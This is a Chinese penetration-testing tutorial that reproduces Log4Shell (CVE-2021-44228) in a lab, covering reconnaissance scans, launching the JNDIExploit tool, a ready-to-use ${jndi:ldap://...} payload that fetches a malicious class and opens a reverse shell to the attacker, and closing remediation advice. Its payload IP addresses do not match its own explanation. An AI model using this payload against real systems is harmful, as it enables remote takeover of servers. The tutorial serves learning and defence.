Log4Shell (CVE-2021-44228) 漏洞完整复现实战教程
前言
CVE-2021-44228 也就是业内大名鼎鼎的 Log4Shell,是影响范围极广的 Java 日志框架远程代码执行高危漏洞,几乎所有搭载低版本 Log4j2 的 Web 服务都存在被入侵风险。本文完整记录从信息收集、漏洞探测到漏洞利用拿下靶机 Shell 的全套攻击流程,适合渗透学习复盘。
一、信息收集阶段
渗透测试第一步先对目标进行全方位资产探测,梳理开放端口、Web 目录、框架漏洞,锁定可利用攻击面。
1. Nmap 全端口 & 服务版本扫描
使用 Nmap 全端口扫描,识别目标开放端口、操作系统、服务版本,寻找潜在攻击入口。
扫描命令
nmap -p- -sV -O -Pn 10.10.1.137
扫描结果回显

扫描信息总结
- 开放 22 端口 SSH 服务,支持密码 / 密钥两种登录方式;
- 开放 80 端口 Web 服务,Web 容器为 Nginx 1.24.0;
- 底层系统为 Linux 内核,版本区间 4.15~5.19。
2. Dirsearch 网站目录爆破
爆破网站隐藏目录、后台地址、敏感配置文件,挖掘未公开功能入口与信息泄露点。
执行命令
bash
dirsearch -u http://10.10.1.137 -e php,html,js
工具运行日志

本次目录扫描未发现高危泄露目录,后续依靠漏洞扫描突破。
3. Nuclei 自动化漏洞扫描
Nuclei 开源漏洞扫描工具,内置海量 POC,可自动识别网站技术栈并检测已知高危漏洞。
扫描命令
bash
nuclei -u http://10.10.1.137 -silent
关键扫描输出

漏洞结果分析
扫描命中高危漏洞 CVE-2021-44228(Log4j2 RCE),为本次渗透核心突破口。
同时网站存在多处安全头缺失,存在点击劫持、跨域等基础安全缺陷。
二、漏洞利用阶段:获取靶机 Shell 权限
整体攻击链路说明
完整漏洞利用分为四大环节,JNDIExploit 工具将前三项功能集成,无需手动分步搭建服务:
- 内置反弹 Shell 恶意 Java 类载荷;
- 启动恶意 LDAP 指路服务;
- 启动 HTTP 恶意字节码下载服务;
- 攻击机开启端口监听,接收靶机反弹 Shell。
步骤 1:攻击环境准备
核心工具:JNDIExploit
专门用于 JNDI 注入漏洞利用的开源工具,集成各类 JDK 绕过载荷,一键搭建 LDAP+HTTP 恶意服务,从 GitHub 仓库下载使用。
环境硬性要求:JDK 8
JNDIExploit 依赖低版本 JDK 原生 JNDI 接口,JDK11/21 等高版本对 JNDI 做了安全限制,直接运行会出现载荷下发失败、工具报错。

我这里本身就是jdk8的环境,如果不是就需要从jdk8所在的路径启动JNDIE
步骤 2:启动 JNDIExploit 恶意服务
进入工具目录,执行启动命令,绑定攻击机本机 IP:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.11.137

参数说明:
-jar:指定运行的 jar 工具包;-i:填写攻击机 Kali 内网 IP,靶机将回连该地址。
步骤 3:本地开启反弹 Shell 监听
新开终端,使用 nc 监听反弹端口,等待靶机主动连接。

步骤 4:构造漏洞 Payload 触发漏洞
漏洞注入 Payload(放置于 User-Agent、请求参数等可被日志打印的位置):
plaintext
${jndi:ldap://172.16.11.100:1389/Basic/ReverseShell/172.16.11.188/4445}


连接成功
Payload 分段解析
${jndi:...}:Log4j2 内置表达式语法,日志打印时自动解析并发起 JNDI 远程查询;ldap://172.16.11.137:1389:攻击机 LDAP 恶意服务地址,靶机首先连接该地址;Basic:基础载荷,适配 JDK8u191 及以下低版本,无需额外绕过限制;ReverseShell:载荷功能,执行系统反弹 Shell 命令;172.16.11.137/4445:反弹 Shell 回连的攻击机 IP 与监听端口。
完整攻击执行流程
- 浏览器携带恶意 Payload 访问目标站点,请求头 User-Agent 内容被后端 Log4j2 日志框架捕获打印;
- Log4j2 解析
${jndi}表达式,主动向攻击机 1389 端口发起 LDAP 查询; - 攻击机 LDAP 服务返回 Reference 引用对象,指向本机 8080 端口存放的恶意 Java 类;
- 靶机 JVM 发起 HTTP 请求至攻击机 8080 端口,下载恶意.class 字节码文件;
- 靶机 JVM 加载恶意类,自动执行静态代码块内的反弹 Shell 指令;
- 靶机主动向外发起 TCP 连接,回连攻击机 4445 监听端口;
- nc 监听窗口捕获连接,成功获取靶机交互式 bash Shell 权限。
三、核心概念深度讲解
1. Log4j2
Apache 开源 Java 日志框架,是 Java 项目最主流的日志记录组件,绝大多数 Java Web 系统均使用其记录访问日志、报错信息、业务操作记录。
漏洞根源:框架会自动解析日志内容中的${jndi}表达式,触发远程 JNDI 查询逻辑,最终导致远程代码执行。
2. CVE-2021-44228(Log4Shell)
2021 年曝光的史诗级高危 RCE 漏洞,影响范围覆盖全球大量业务系统。
漏洞危害:只要攻击者可控一段会被 Log4j2 打印的输入字符串,即可注入恶意 JNDI 地址,远程执行任意系统命令,直接接管目标服务器。
本文实战核心利用漏洞,通过构造 JNDI 表达式完成靶机入侵。
3. JNDIExploit 工具
安全研究者开源的 JNDI 注入专用利用工具,内置大量 JDK 限制绕过载荷,一键启动 LDAP+HTTP 双恶意服务。
工具价值:整合恶意类编写、LDAP 服务搭建、HTTP 文件服务三大步骤,大幅降低漏洞利用门槛,无需手动编译 Java 恶意代码。
四、漏洞原理与触发必要条件
1. Log4j2 正常日志工作流程
- 服务接收用户提交的请求、输入数据;
- 开发者调用
logger.info()/logger.error()等方法,将用户输入打印至日志; - Log4j2 框架处理日志内容,持久化写入本地日志文件。
2. 漏洞核心成因
Log4j2 自带表达式解析功能,当日志文本中存在${jndi:xxx}格式字符串时,框架不会将其作为普通文本处理,而是主动发起 JNDI 远程查询。
完整漏洞触发逻辑:
- 攻击者将恶意 JNDI 表达式注入可被日志记录的位置(请求头、URL 参数、表单内容等);
- Log4j2 打印日志时解析表达式,主动连接攻击者搭建的恶意 LDAP 服务;
- LDAP 服务返回 Reference 对象,指定远程恶意 class 文件的 HTTP 下载地址;
- 靶机 JVM 自动发起 HTTP 请求下载恶意字节码;
- JVM 加载恶意类,执行静态代码块中的任意系统命令(反弹 Shell、添加管理员账号等)。
3. 漏洞利用三大必要前提
- 目标项目使用存在漏洞的 Log4j2 版本:2.0-beta9 ~ 2.14.1;
- 用户可控输入内容会被 Log4j2 框架打印输出到日志;
- 靶机服务器网络可访问攻击者搭建的 LDAP、HTTP 恶意服务。
五、漏洞修复建议
- 升级 Log4j2 至安全版本:2.16.0 及以上,彻底关闭 JNDI 表达式解析功能;
- 临时缓解方案:启动参数添加
-Dlog4j2.formatMsgNoLookups=true关闭表达式查找; - 网络层防护:WAF 拦截包含
${jndi:、ldap://特征的恶意请求; - 限制服务器出站网络,禁止业务服务器主动访问外网陌生 LDAP/HTTP 端口。
评论(0)
暂无评论